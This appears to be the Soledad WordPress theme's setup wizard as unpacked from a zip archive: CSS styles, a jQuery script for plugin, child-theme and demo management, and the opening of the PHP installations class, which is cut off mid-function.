.soledad-wizard-dummy .soledad-notices-sticky {
	top: 0;
	margin-top: 0;
	padding-top: 0;
	background-color: #f7f7f7;
}
.soledad-wizard-dummy .soledad-box-content {
	overflow-x: hidden;
	overflow-y: scroll;
	padding-inline-end: 10px;
	padding-bottom: 5px !important;
	min-height: 400px;
	max-height: 400px;
}
.soledad-wizard-dummy .soledad-wizard-footer {
	margin-top: 20px;
}
.soledad-wizard-dummy .soledad-box-footer {
	display: none;
}
.soledad-wizard-dummy .soledad-import-item:hover {
	box-shadow: none;
}
.soledad-wizard-dummy .soledad-import-item-title {
	font-size: 13px;
	line-height: 15px;
}
.soledad-wizard-dummy .soledad-import-item-btn:after {
	inset-inline-start: 7px;
}
.soledad-wizard-dummy .soledad-import-item-footer {
	padding: 10px;
}
.soledad-wizard-dummy.imported-base + .soledad-wizard-footer .soledad-skip {
	display: none;
}
.soledad-wizard-dummy.imported-base + .soledad-wizard-footer .soledad-prev {
	visibility: hidden;
	opacity: 0;
}
.soledad-wizard-dummy:not(.imported-base)
	+ .soledad-wizard-footer
	.soledad-next {
	display: none;
}
.soledad-wizard-content-inner.soledad-wizard-done {
	flex-direction: column;
	justify-content: center;
	height: 100%;
}
.soledad-wizard-content-inner.soledad-wizard-done > p {
	margin-top: 0;
}
.soledad-wizard-content-inner.soledad-wizard-done .soledad-wizard-buttons {
	margin-top: 10px;
}
.soledad-setup-wizard.soledad-done
	.soledad-wizard-content-inner.soledad-wizard-dummy,
.soledad-setup-wizard.soledad-done
	.soledad-wizard-content-inner.soledad-wizard-dummy
	+ .soledad-wizard-footer {
	display: none;
}
.soledad-setup-wizard.soledad-done
	.soledad-wizard-content-inner.soledad-wizard-done {
	display: flex;
}
.soledad-setup-wizard.soledad-done .soledad-wizard-done-nav {
	display: block;
}
.soledad-setup-wizard.soledad-done .soledad-wizard-nav > ul,
.soledad-setup-wizard.soledad-done .soledad-wizard-nav .soledad-wizard-help {
	display: none;
}
.soledad-wizard-done-nav {
	display: none;
	margin-top: 50px;
	margin-inline: 15px;
	text-align: center;
}
.soledad-wizard-done-nav h3 {
	color: #fff;
	font-size: 22px;
}
.soledad-wizard-done-nav p {
	margin: 0 auto;
	max-width: 210px;
	color: rgba(255, 255, 255, 0.8);
	font-size: 16px;
}
.soledad-wizard-done-nav-img {
	min-height: 140px;
}
@media (max-width: 1024px) {
	.soledad-wizard-nav {
		max-width: 200px;
	}
	.soledad-wizard-nav ul {
		padding: 45px 25px;
	}
	.soledad-wizard-help {
		padding-inline: 20px;
	}
}
.soledad-wizard-buttons a {
	display: inline-block;
	padding: 10px 25px;
	background: #000;
	color: #fff;
	font-weight: bold;
	transition: 0.3s all ease-in-out;
}
.soledad-wizard-buttons a:hover {
	opacity: 0.8;
}
.soledad-wizard-buttons a.penci-install-color-primary {
	background: var(--wp-admin-theme-color);
}
.penci-install-plugins ul {
	max-height: 300px;
	overflow: auto;
}
.soledad-wizard-content-inner #penci-check-license .penci-activate-err span {
	display: none;
}
.soledad-wizard-content-inner
	#penci-check-license
	.penci-activate-err
	span.penci-err-show {
	display: block;
}
.soledad-wizard-content-inner .penci-activate-err span {
	padding: 10px 20px;
	background: #fbdada;
	color: #cc0909;
	margin: 15px 0 0;
	border-radius: 5px;
}
.soledad-wizard-content-inner #penci-check-license input {
	width: 100%;
	padding: 5px 10px;
	outline: 0;
	border-radius: 5px;
}
.soledad-wizard-content-inner #penci-check-license button {
	margin: 15px 0;
	padding: 10px 30px;
	background: #000;
	border: 0;
	color: #fff;
	border-radius: 5px;
	cursor: pointer;
}
.soledad-wizard-content-inner .penci-activate-extra-notes {
	border-top: 1px solid #ddd;
	margin-top: 30px;
}
ul li.soledad-plugin-wrapper {
	border-bottom: 1px solid #ddd;
	padding-bottom: 10px;
	margin-bottom: 10px;
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
}
ul li.soledad-plugin-wrapper .penci-install-plugin-heading {
	width: 250px;
}
ul li.soledad-plugin-wrapper .penci-install-plugin-version,
ul li.soledad-plugin-wrapper .penci-install-plugin-required {
	width: 70px;
}
.penci-install-plugin-required-text {
	color: rgb(201, 1, 1);
	font-weight: bold;
	font-size: 12px;
}
.soledad-wizard-dummy .demos-container-wrap {
	max-height: 500px;
	overflow: auto;
	margin: 0 -20px;
	padding: 0 20px;
}
.penci-install-note-wrapper {
	margin: 20px 0 0;
}
.soledad-wizard-dummy .demos-container {
	display: flex;
	flex-wrap: wrap;
	flex-direction: row;
	--gap: 15px;
	--col: 3;
	gap: var(--gap);
}
.soledad-wizard-dummy .demos-container .demo-selector {
	-webkit-flex-basis: calc(
		(100% - (var(--gap) * (var(--col) - 1))) / var(--col)
	);
	-ms-flex-preferred-size: calc(
		(100% - (var(--gap) * (var(--col) - 1))) / var(--col)
	);
	flex-basis: calc((100% - (var(--gap) * (var(--col) - 1))) / var(--col));
	position: relative;
	background: #fff;
	box-shadow: 0 1px 6px rgba(55, 55, 55, 0.2);
}
.soledad-wizard-dummy .demo-selector .demo-image {
	position: relative;
}
.soledad-wizard-dummy .demo-selector .demo-image img {
	width: 100%;
	height: auto;
	max-width: unset;
}
.soledad-wizard-dummy .demo-selector .penci-demo-hover {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	opacity: 0;
	visibility: hidden;
	background: rgba(255, 255, 255, 0.9);
	display: flex;
	align-items: center;
	justify-content: center;
	transition: all 0.3s ease;
}
.soledad-wizard-dummy .demo-selector:hover .penci-demo-hover {
	opacity: 1;
	visibility: visible;
}
.soledad-wizard-dummy .demo-install-actions {
	display: flex;
	flex-wrap: wrap;
	flex-direction: column-reverse;
	justify-content: space-between;
	align-items: center;
	padding: 10px 0 0;
}
.soledad-wizard-dummy .demo-install-actions .demo-title {
	font-size: 14px;
	margin: 0 0 10px;
}
.soledad-wizard-dummy .demo-install-actions .button {
	padding: 5px 10px;
	min-height: unset;
	line-height: unset;
	font-size: 12px;
	border-radius: 0;
	width: 100%;
}
.demos-container .demo-selector {
	order: 2;
}
.demos-container .demo-selector-installed {
	order: 1;
}
.demos-container .demo-selector-installed:hover .penci-demo-hover {
	display: none;
}
.demos-container .demo-selector-installed .demo-image:before {
	content: "\f147";
	font-family: "dashicons";
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	display: flex;
	background: rgba(0, 0, 0, 0.7);
	align-items: center;
	justify-content: center;
	font-size: 90px;
	color: #fff;
}
.soledad-plugin-wrapper .penci-install-plugin-name {
	font-weight: bold;
}
.soledad-wizard-content-inner {
	position: relative;
}
@keyframes penci-menu-rotate {
	100% {
		transform: rotate(360deg);
	}
}
.penci-notice {
	position: fixed;
	top: 30px;
	right: 30px;
	background: rgba(0, 0, 0, 0.9);
	width: 100%;
	max-width: 250px;
	color: #fff;
	padding: 10px 15px;
	border-radius: 5px;
	font-size: 13px;
	box-shadow: 3px 3px 8px rgba(55, 55, 55, 0.2);
	text-align: center;
}
.penci-soledad-demo-import-log {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 0;
	z-index: 99;
	background: #fff;
	opacity: 0;
	visibility: hidden;
}
.soledad-wizard-content-inner.importing .demo-selector:not(.importing) {
	opacity: 0.5;
	pointer-events: none;
}
.soledad-wizard-content-inner.importing
	.demo-selector.importing
	.penci-div-inner {
	display: none;
}
.demo-selector.loading .penci-demo-hover {
	opacity: 1;
	visibility: visible;
}
.demo-selector.loading .penci-demo-hover .penci-div-inner {
	display: none;
}
.demo-selector.loading .penci-demo-hover:before {
	transition: opacity 0.2s ease;
	content: "";
	display: inline-block;
	border: 1px solid #000;
	border-left-color: #fff;
	border-top-color: #fff;
	border-radius: 50%;
	vertical-align: middle;
	position: absolute;
	top: 50%;
	left: 50%;
	margin-top: -12px;
	margin-left: -12px;
	width: 24px;
	height: 24px;
	z-index: 9;
	animation: penci-menu-rotate 0.35s infinite linear;
}
.soledad-plugin-wrapper.soledad-loading .soledad-ajax-plugin:before {
	transition: opacity 0.2s ease;
	content: "";
	display: inline-block;
	border: 2px solid #000;
	border-left-color: #fff;
	border-top-color: #fff;
	border-radius: 50%;
	vertical-align: middle;
	margin-top: -4px;
	width: 12px;
	height: 12px;
	z-index: 9;
	animation: penci-menu-rotate 0.35s infinite linear;
}
.soledad-setup-wizard-wrap .soledad-activation .success-icon {
	text-align: center;
	margin: 0 0 30px;
}
.soledad-setup-wizard-wrap .soledad-activation .success-icon i {
	font-size: 79px;
	line-height: 79px;
	display: inline-block;
	width: 79px;
	height: 79px;
	color: #029902;
}
.soledad-setup-wizard-wrap .soledad-activation .penci-license-detail-desc {
	padding: 30px;
	background: #f1f1f1;
	border-radius: 5px;
}
.soledad-child-image:after {
	content: "Child theme";
	position: absolute;
	bottom: 0;
	right: 0;
	left: 0;
	right: 0;
	text-align: center;
	padding: 5px;
	font-size: 10px;
	background: #777;
	color: #fff;
	text-transform: uppercase;
	font-weight: bold;
}
.soledad-install-child-theme {
	display: inline-block;
	background: #000;
	color: #fff;
}
.soledad-install-child-theme:hover {
	color: #fff;
	opacity: 0.8;
}
.penci-demo-search-form  {
	margin: 0 0 30px;
}
.penci-demo-search-form input {
	width: 100%;
	padding: 5px 15px;
	font-size: 14px;
	text-align: center;
}PK     N\oTpq%  q%  )  inc/installations/assets/installations.jsnu [        (function ($) {
	"use strict";

	var addNotice = function (type, message) {
		$("body").append(
			'<div class="penci-notice penci-notice-' +
				type +
				'">' +
				message +
				"</div>"
		);
		setTimeout(() => {
			$(".penci-notice").fadeOut("slow", function () {
				$(this).remove();
			});
		}, 5000);
	};

	var hideNotice = function () {
		$(".penci-notice").remove();
	};

	function wizardInstallPlugins() {

		var checkPlugin = function ($link, callback) {
			setTimeout(function () {
				$.ajax({
					url: soledadInstallations.ajaxUrl,
					method: "POST",
					data: {
						action: "soledad_check_plugins",
						penci_plugin: $link.data("plugin"),
						security: soledadInstallations.check_plugins_nonce,
					},
					success: function (response) {
						if ("success" === response.status) {
							changeNextButtonStatus(
								response.data.required_plugins
							);
							changePageStatus(response.data.is_all_activated);
						} else {
							addNotice("warning", response.message);
							removeLinkClasses($link);
							hideNotice();
						}

						if (
							response?.data?.status === "deactivate" &&
							!$('.penci-install-plugins').hasClass('penci-install-all')
						) {
							reloadPage($link);
						}

						callback(response);
					},
				});
			}, 1000);
		};

		var activatePlugin = function ($link, callback) {
			$.ajax({
				url: penci_plugin_data[$link.data("plugin")][
					"activate_url"
				].replaceAll("&amp;", "&"),
				method: "GET",
				success: function () {
					checkPlugin($link, function (response) {
						if ("success" === response.status) {
							if ("activate" === response.data.status) {
								activatePlugin($link, callback);
							} else {
								removeLinkClasses($link);
								changeLinkAction(
									"activate",
									"deactivate",
									$link,
									response
								);
								changeLinkAction(
									"install",
									"deactivate",
									$link,
									response
								);
								changeLinkAction(
									"update",
									"deactivate",
									$link,
									response
								);
								callback();
							}
						}
					});
				},
			});
		};

		var deactivatePlugin = function ($link) {
			$.ajax({
				url: soledadInstallations.ajaxUrl,
				method: "POST",
				data: {
					action: "soledad_deactivate_plugin",
					penci_plugin: $link.data("plugin"),
					security: soledadInstallations.deactivate_plugin_nonce,
				},
				success: function (response) {
					if ("error" === response.status) {
						addNotice("warning", response.message);
						removeLinkClasses($link);
						hideNotice();
						return;
					}

					checkPlugin($link, function (response) {
						if ("success" === response.status) {
							if ("activate" === response.data.status) {
								removeLinkClasses($link);
								changeLinkAction(
									"deactivate",
									"activate",
									$link,
									response
								);
							} else {
								deactivatePlugin($link);
							}
						}
					});
				},
			});
		};

		function parsePlugins($link, callback) {
			$.ajax({
				url: $link.attr("href"),
				method: "POST",
				success: function () {
					setTimeout(function () {
						checkPlugin($link, function (response) {
							if ("success" === response.status) {
								if ("activate" === response.data.status) {
									activatePlugin($link, callback);
								} else {
									removeLinkClasses($link);
									changeLinkAction(
										"activate",
										"deactivate",
										$link,
										response
									);
									callback();
								}
							}
						});
					}, 1000);
				},
			});
		}

		function reloadPage($link) {
			if ($link.parents(".soledad-plugin-wrapper").length) {
				location.reload();
			}
		}

		function addLinkClasses($link) {
			$link
				.parents(".soledad-plugin-wrapper")
				.addClass("soledad-loading");
			$link
				.parents(".soledad-plugin-wrapper")
				.siblings()
				.addClass("penci-install-disabled");
			$(".soledad-wizard-footer").addClass("penci-install-disabled");

			$link.text(
				soledadInstallations[
					$link.data("action") + "_process_plugin_btn_text"
				]
			);
		}

		function removeLinkClasses($link) {
			$link
				.parents(".soledad-plugin-wrapper")
				.removeClass("soledad-loading");
			$link
				.parents(".soledad-plugin-wrapper")
				.siblings()
				.removeClass("penci-install-disabled");
			$(".soledad-wizard-footer").removeClass("penci-install-disabled");
		}

		function changeNextButtonStatus(status) {
			var $nextBtn = $(".soledad-next");
			if ("has_required" === status) {
				$nextBtn.addClass("penci-install-disabled");
			} else {
				$nextBtn.removeClass("penci-install-disabled");
			}
		}

		function changePageStatus(status) {
			var $page = $(".soledad-plugins");
			if ("yes" === status) {
				$page.addClass("penci-install-all-active");
			} else {
				$page.removeClass("penci-install-all-active");
			}
		}

		function changeLinkAction(actionBefore, actionAfter, $link, response) {
			if (response && response.data.version) {
				$link
					.parents(".soledad-plugin-wrapper")
					.find(".penci-install-plugin-version span")
					.text(response.data.version);
			}

			$link
				.removeClass("soledad-" + actionBefore)
				.addClass("soledad-" + actionAfter);
			$link.attr(
				"href",
				penci_plugin_data[$link.data("plugin")][
					actionAfter + "_url"
				].replaceAll("&amp;", "&")
			);
			$link.data("action", actionAfter);
			$link.text(soledadInstallations[actionAfter]);
		}

		$(document).on(
			"click",
			".soledad-ajax-plugin:not(.soledad-deactivate)",
			function (e) {
				e.preventDefault();

				var $link = $(this);
				addLinkClasses($link);
				parsePlugins($link, function () {});
			}
		);

		$(document).on(
			"click",
			".soledad-ajax-plugin.soledad-deactivate",
			function (e) {
				e.preventDefault();

				var $link = $(this);
				addLinkClasses($link);
				deactivatePlugin($link);
			}
		);

		$(document).on("click", ".soledad-wizard-all-plugins", function (e) {
			e.preventDefault();

			$('.penci-install-plugins').addClass('penci-install-all');

			var itemQueue = [];

			function activationAction() {
				if (itemQueue.length) {
					var $link = $(itemQueue.shift());

					if ($link.parents(".soledad-compatible-plugins").length) {
						return;
					}

					addLinkClasses($link);

					parsePlugins($link, function () {
						activationAction();
					});
				}
			}

			$(
				".soledad-plugin-wrapper .soledad-ajax-plugin:not(.soledad-deactivate)"
			).each(function () {
				itemQueue.push($(this));
			});

			activationAction();
		});
	}

	function wizardBuilderSelect() {
		$(".soledad-wizard-builder-select > div").on("click", function () {
			var $this = $(this);
			var builder = $(this).data("builder");

			$this.addClass("penci-install-active");
			$this.siblings().removeClass("penci-install-active");
			$(".soledad-btn.soledad-" + builder)
				.removeClass("penci-install-hidden")
				.addClass("penci-install-shown")
				.siblings(".soledad-next")
				.addClass("penci-install-hidden")
				.removeClass("penci-install-shown");
		});
	}

	function wizardInstallChildTheme() {
		$(".soledad-install-child-theme").on("click", function (e) {
			e.preventDefault();
			var $btn = $(this);

			$btn.addClass("soledad-loading");

			$.ajax({
				url: soledadInstallations.ajaxUrl,
				method: "POST",
				data: {
					action: "soledad_install_child_theme",
					security: soledadInstallations.install_child_theme_nonce,
				},
				dataType: "json",
				success: function (response) {
					$btn.removeClass("soledad-loading");

					if (response && "success" === response.status) {
						$(".soledad-wizard-child-theme").addClass(
							"penci-install-installed"
						);
						addNotice("success", "Successfully installed the child theme.");

						location.reload();
					} else if (
						response &&
						"dir_not_exists" === response.status
					) {
						addNotice(
							"error",
							"The directory can't be created on the server. Please, install the child theme manually or contact our support for help."
						);
					} else {
						addNotice(
							"error",
							"The child theme can't be installed. Skip this step and install the child theme manually via Appearance -> Themes."
						);
					}
				},
				error: function () {
					$btn.removeClass("soledad-loading");

					addNotice(
						"error",
						"The child theme can't be installed. Skip this step and install the child theme manually via Appearance -> Themes."
					);
				},
			});
		});
	}

	function wizardUninstallDemo() {
		$(".penci-wuninstall-demo").on("click", function (e) {
			e.preventDefault();

			var t = $(this),
				w = t.closest('.demo-selector');

			w.addClass("loading");

			var r = confirm("Are you sure?");
				if (r !== true) {
					return false;
				}

			$.get(
				soledadInstallations.ajaxUrl,
				{
					action: "penci_soledad_unintall_demo",
					type: "unintall_demo",
					_wpnonce: soledadInstallations.demononce,
				},
				function (response) {
					if (response.success) {
						addNotice("success", "Unintall Demo completed!");
						$(".soledad-wizard-content-inner").removeClass("loading");
						$(".demos-container").removeClass("has-imported");
						w.removeClass('demo-selector-installed loading');
					} else {
						addNotice("error", response.data);
					}
				}
			).fail(function () {
				addNotice("error", "Failed");
			});
		});
	}
	
	jQuery(document).ready(function () {
		wizardInstallPlugins();
		wizardBuilderSelect();
		wizardInstallChildTheme();
		wizardUninstallDemo();
	});
})(jQuery);PK     N\^3>  >  #  inc/installations/installations.phpnu [        <?php

class Soledad_Theme_Installations {

	/**
	 * Instance of this static object.
	 *
	 * @var array
	 */
	private static $instances = [];

	/**
	 * Get singleton instance.
	 *
	 * @return object Current object instance.
	 * @since 1.0.0
	 *
	 */
	public static function get_instance() {
		$subclass = static::class;
		if ( ! isset( self::$instances[ $subclass ] ) ) {
			self::$instances[ $subclass ] = new static();
			self::$instances[ $subclass ]->init();
		}

		return self::$instances[ $subclass ];
	}

	/**
	 * Prevent singleton class clone.
	 *
	 * @since 1.0.0
	 */
	private function __clone() {
	}

	/**
	 * Prevent singleton class initialization.
	 *
	 * @since 1.0.0
	 */
	private function __construct() {
	}

	/**
	 * Available pages.
	 *
	 * @var array
	 */
	public $available_pages = array();

	/**
	 * Constructor.
	 */
	public function init() {

		add_filter( 'tgmpa_load', array( $this, 'tgmpa_load' ), 10, 1 );
		add_action( 'wp_ajax_soledad_deactivate_plugin', array( $this, 'ajax_deactivate_plugin' ) );
		add_action( 'wp_ajax_soledad_check_plugins', array( $this, 'ajax_check_plugin' ) );
		add_action( 'wp_ajax_soledad_install_child_theme', array( $this, 'install_child_theme' ) );

		if ( isset( $_GET['skip_setup'] ) ) {
			update_option( 'soledad_setup_status', 'done', false );
		}

		if ( 'done' !== get_option( 'soledad_setup_status' ) ) { // phpcs:ignore
			add_action( 'admin_init', array( $this, 'prevent_plugins_redirect' ), 1 );
			do_action( 'soledad_setup_wizard' );
		}

		if ( defined( 'DOING_AJAX' ) || isset( $_GET['page'] ) && ( 'soledad_dashboard_welcome' === $_GET['page'] || 'tgmpa-install-plugins' === $_GET['page'] ) ) {
			add_action( 'admin_init', array( $this, 'prevent_plugins_redirect' ), 1 );
		}
		
		add_action( 'admin_enqueue_scripts', array( $this, 'register_scripts' ) );
	}

	/**
	 * Setup available pages.
	 *
	 * @return void
	 */
	public function set_available_pages() {
		$this->available_pages = array(
			'welcome'     => esc_html__( 'Welcome', 'soledad' ),
			'activation'  => esc_html__( 'Activation', 'soledad' ),
			'child-theme' => esc_html__( 'Child Theme', 'soledad' ),
			'plugins'     => esc_html__( 'Plugins', 'soledad' ),
			'demo'        => esc_html__( 'Install Demo', 'soledad' ),
			'done'        => esc_html__( 'Complete', 'soledad' ),
		);
	}

	public function register_scripts() {
		wp_register_script( 'penci-installations', PENCI_SOLEDAD_URL . '/inc/installations/assets/installations.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_register_style( 'penci-installations', PENCI_SOLEDAD_URL . '/inc/installations/assets/style.css', array(), PENCI_SOLEDAD_VERSION );

		$localize_script = array(
			'ajaxUrl'                   => admin_url( 'admin-ajax.php' ),
			'nonce'                     => wp_create_nonce( 'soledad_deactivate_plugin_nonce' ),
			'deactivate_plugin_nonce'   => wp_create_nonce( 'soledad_deactivate_plugin_nonce' ),
			'check_plugins_nonce'       => wp_create_nonce( 'soledad_check_plugins_nonce' ),
			'install_child_theme_nonce' => wp_create_nonce( 'soledad_install_child_theme_nonce' ),
			'demononce'                 => wp_create_nonce( 'penci_soledad_demo_import' ),
			'activate'                  => __( 'Activate', 'soledad' ),
			'deactivate'                => __( 'Deactivate', 'soledad' ),
			'done_url'                  => admin_url( 'admin.php?page=soledad_dashboard_welcome&tab=wizard&step=done' ),
		);

		wp_localize_script( 'penci-installations', 'soledadInstallations', $localize_script );
	}

	/**
	 * Prevent plugins redirect.
	 */
	public function prevent_plugins_redirect() {
		delete_transient( '_revslider_welcome_screen_activation_redirect' );
		delete_transient( '_vc_page_welcome_redirect' );
		delete_transient( 'elementor_activation_redirect' );
		add_filter( 'woocommerce_enable_setup_wizard', '__return_false' );
		remove_action( 'admin_menu', 'vc_menu_page_build' );
		remove_action( 'network_admin_menu', 'vc_network_menu_page_build' );
		remove_action( 'vc_activation_hook', 'vc_page_welcome_set_redirect' );
		remove_action( 'admin_init', 'vc_page_welcome_redirect' );
	}

	/**
	 * Template.
	 */
	public function setup_wizard_template() {
		if ( 'done' === get_option( 'soledad_setup_status' ) ) {
			return;
		}

		$this->set_available_pages();

		wp_enqueue_script( 'penci-installations' );
		wp_enqueue_style( 'penci-installations' );

		$page = 'welcome';

		if ( isset( $_GET['step'] ) && ! empty( $_GET['step'] ) ) { // phpcs:ignore
			$page = trim( wp_unslash( $_GET['step'] ) ); // phpcs:ignore
		}

		$this->show_page( $page );
	}

	/**
	 * Show page.
	 *
	 * @param string $name Template file name.
	 */
	public function show_page( $name ) {
		?>
        <div class="soledad-setup-wizard-wrap soledad-theme-style">
            <div class="soledad-setup-wizard soledad-<?php echo esc_attr( $name ); ?>">
                <div class="soledad-wizard-nav">
					<?php $this->show_part( 'sidebar' ); ?>
                </div>

                <div class="soledad-wizard-content">
					<?php $this->show_part( $name ); ?>
                </div>
            </div>
        </div>
		<?php
	}

	/**
	 * Get previous page button.
	 *
	 * @param string $page Page slug.
	 */
	public function get_prev_button( $page ) {
		?>
        <a class="soledad-inline-btn soledad-prev" href="<?php echo esc_url( $this->get_page_url( $page ) ); ?>">
			<?php esc_html_e( 'Previous step', 'soledad' ); ?>
        </a>
		<?php
	}

	/**
	 * Get previous page button.
	 *
	 * @param string $page Page slug.
	 * @param string $builder Builder name.
	 * @param boolean $disabled Is button disabled.
	 */
	public function get_next_button( $page, $builder = '', $disabled = false ) {
		$classes = '';
		$url     = $this->get_page_url( $page );

		if ( $builder ) {
			$url     .= '&soledad_builder=' . $builder;
			$classes .= ' soledad-' . $builder;
		}

		if ( 'elementor' === $builder ) {
			$classes .= ' soledad-shown';
		} elseif ( 'gutenberg' === $builder ) {
			$classes .= ' soledad-hidden';
		} elseif ( 'wpb' === $builder ) {
			$classes .= ' soledad-hidden';
		}

		if ( $disabled ) {
			$classes .= ' soledad-disabled';
		}

		?>
        <a class="soledad-btn soledad-color-primary soledad-next<?php echo esc_attr( $classes ); ?>"
           href="<?php echo esc_url( $url ); ?>">
			<?php esc_html_e( 'Next step', 'soledad' ); ?>
        </a>
		<?php
	}

	/**
	 * Get skip page button.
	 *
	 * @param string $page Page slug.
	 */
	public function get_skip_button( $page ) {
		?>
        <a class="soledad-inline-btn soledad-color-primary soledad-skip"
           href="<?php echo esc_url( $this->get_page_url( $page ) ); ?>">
			<?php esc_html_e( 'Skip', 'soledad' ); ?>
        </a>
		<?php
	}

	/**
	 * Show template part.
	 *
	 * @param string $name Template file name.
	 */
	public function show_part( $name ) {
		include_once get_parent_theme_file_path( '/inc/installations/templates/' . $name . '.php' );
	}

	/**
	 * Is active page.
	 *
	 * @param string $name Page name.
	 */
	public function is_active_page( $name ) {
		$page = 'welcome';

		if ( isset( $_GET['step'] ) && ! empty( $_GET['step'] ) ) { // phpcs:ignore
			$page = trim( wp_unslash( $_GET['step'] ) ); // phpcs:ignore
		}

		return $name === $page; // phpcs:ignore
	}

	/**
	 * Get page url.
	 *
	 * @param string $name Page name.
	 */
	public function get_page_url( $name ) {
		return admin_url( 'admin.php?page=soledad_dashboard_welcome&tab=wizard&step=' . $name ); // phpcs:ignore
	}

	/**
	 * Get image url.
	 *
	 * @param string $name Image name.
	 */
	public function get_image_url( $name ) {
		return PENCI_SOLEDAD_DIR . '/inc/installations/images/' . $name;
	}

	/**
	 * Is setup wizard.
	 *
	 * @return bool
	 */
	public function is_setup() {
		return isset( $_GET['tab'] ) && 'wizard' === $_GET['tab']; //phpcs:ignore
	}

	public function ajax_deactivate_plugin() {
		check_ajax_referer( 'soledad_deactivate_plugin_nonce', 'security' );

		$plugins = $this->get_plugins();

		if ( ! $plugins ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'Plugins list is empty.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'You not have access.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( is_multisite() && is_plugin_active_for_network( $plugins[ $_POST['penci_plugin'] ]['file_path'] ) ) { // phpcs:ignore
			wp_send_json(
				array(
					'message' => esc_html__( 'You cannot deactivate the plugin on a multisite.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( isset( $_POST['penci_plugin'] ) && is_plugin_active( $plugins[ $_POST['penci_plugin'] ]['file_path'] ) ) { // phpcs:ignore
			deactivate_plugins( $plugins[ $_POST['penci_plugin'] ]['file_path'] ); // phpcs:ignore
		}

		wp_send_json(
			array(
				'data'   => $plugins[ $_POST['penci_plugin'] ]['status'], // phpcs:ignore
				'status' => 'success',
			)
		);
	}

	public function get_plugins() {
		$tgmpa             = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
		$tgmpa_plugins     = $tgmpa->plugins;
		$installed_plugins = get_plugins();

		$plugins = array();

		foreach ( $tgmpa_plugins as $slug => $plugin ) {
			$plugins[ $slug ]                   = $plugin;
			$plugins[ $slug ]['activate_url']   = $this->get_action_url( $slug, 'activate' );
			$plugins[ $slug ]['update_url']     = $this->get_action_url( $slug, 'update' );
			$plugins[ $slug ]['deactivate_url'] = '';

			if ( isset( $installed_plugins[ $plugin['file_path'] ]['Version'] ) ) {
				$plugins[ $slug ]['version'] = $installed_plugins[ $plugin['file_path'] ]['Version'];
			}

			if ( ! $tgmpa->is_plugin_installed( $slug ) ) {
				$plugins[ $slug ]['status'] = 'install';
			} else {
				if ( $tgmpa->does_plugin_have_update( $slug ) ) {
					$plugins[ $slug ]['status'] = 'update';
				} elseif ( $tgmpa->can_plugin_activate( $slug ) ) {
					$plugins[ $slug ]['status'] = 'activate';
				} elseif ( $tgmpa->does_plugin_require_update( $slug ) ) {
					$plugins[ $slug ]['status'] = 'require_update';
				} else {
					$plugins[ $slug ]['status'] = 'deactivate';
				}
			}
		}


		$order = array(
			'penci-shortcodes',
			'elementor',
			'penci-soledad-demo-importer',
			'woocommerce',
			'contact-form-7',
			'mailchimp-for-wp',
		);

		$filtered_plugins = array();
		foreach ( $order as $plugin_slug ) {
			if ( isset( $plugins[ $plugin_slug ] ) ) {
				$filtered_plugins[ $plugin_slug ] = $plugins[ $plugin_slug ];
			}
		}

		$plugins = $filtered_plugins;

		return $plugins;
	}

	/**
	 * Get required plugins to activate.
	 *
	 * @since 1.0.0
	 */
	public function get_required_plugins_to_activate() {
		$plugins = $this->get_plugins();
		$tgmpa   = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
		$output  = array();

		foreach ( $plugins as $slug => $plugin ) {
			if ( ! $tgmpa->is_plugin_active( $slug ) && $plugin['required'] ) {
				$output[] = $plugin;
			}
		}

		return $output;
	}

	/**
	 * Is all plugins activated.
	 *
	 * @since 1.0.0
	 */
	public function is_all_activated() {
		$plugins = $this->get_plugins();
		$tgmpa   = call_user_func( array( get_class( $GLOBALS['tgmpa'] ), 'get_instance' ) );
		$output  = array();

		foreach ( $plugins as $slug => $plugin ) {
			if ( ! $tgmpa->is_plugin_active( $slug ) && $tgmpa->can_plugin_activate( $slug ) ) {
				$output[] = $plugin;
			}
		}

		return count( $output ) === 0;
	}

	/**
	 * Get required plugins to activate.
	 *
	 * @param string $slug Slug.
	 * @param string $status Status.
	 *
	 * @return string
	 * @since 1.0.0
	 *
	 */
	public function get_action_url( $slug, $status ) {
		return wp_nonce_url(
			add_query_arg(
				array(
					'plugin'           => rawurlencode( $slug ),
					'tgmpa-' . $status => $status . '-plugin',
				),
				admin_url( 'themes.php?page=tgmpa-install-plugins' )
			),
			'tgmpa-' . $status,
			'tgmpa-nonce'
		);
	}

	/**
	 * Get required plugins to activate.
	 *
	 * @param string $status Status.
	 *
	 * @return string
	 * @since 1.0.0
	 *
	 */
	public function get_action_text( $status ) {
		$text = esc_html__( 'Deactivate', 'soledad' );

		if ( 'install' === $status ) {
			$text = esc_html__( 'Install', 'soledad' );
		} elseif ( 'update' === $status ) {
			$text = esc_html__( 'Update', 'soledad' );
		} elseif ( 'activate' === $status ) {
			$text = esc_html__( 'Activate', 'soledad' );
		}

		return $text;
	}

	public function ajax_check_plugin() {
		check_ajax_referer( 'soledad_check_plugins_nonce', 'security' );

		$plugins = $this->get_plugins();

		if ( ! $plugins ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'Plugins list is empty.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		if ( ! current_user_can( 'manage_options' ) ) {
			wp_send_json(
				array(
					'message' => esc_html__( 'You not have access.', 'soledad' ),
					'status'  => 'error',
				)
			);
		}

		wp_send_json(
			array(
				'data'   => array(
					'status'           => $plugins[ $_POST['penci_plugin'] ]['status'], // phpcs:ignore
					'version'          => $plugins[ $_POST['penci_plugin'] ]['version'], // phpcs:ignore
					'required_plugins' => count( $this->get_required_plugins_to_activate() ) > 0 ? 'has_required' : 'no',
					'is_all_activated' => $this->is_all_activated() ? 'yes' : 'no',
				),
				'status' => 'success',
			)
		);
	}

	public function install_child_theme() {
		check_ajax_referer( 'soledad_install_child_theme_nonce', 'security' );
		$parent_theme_name = 'soledad';
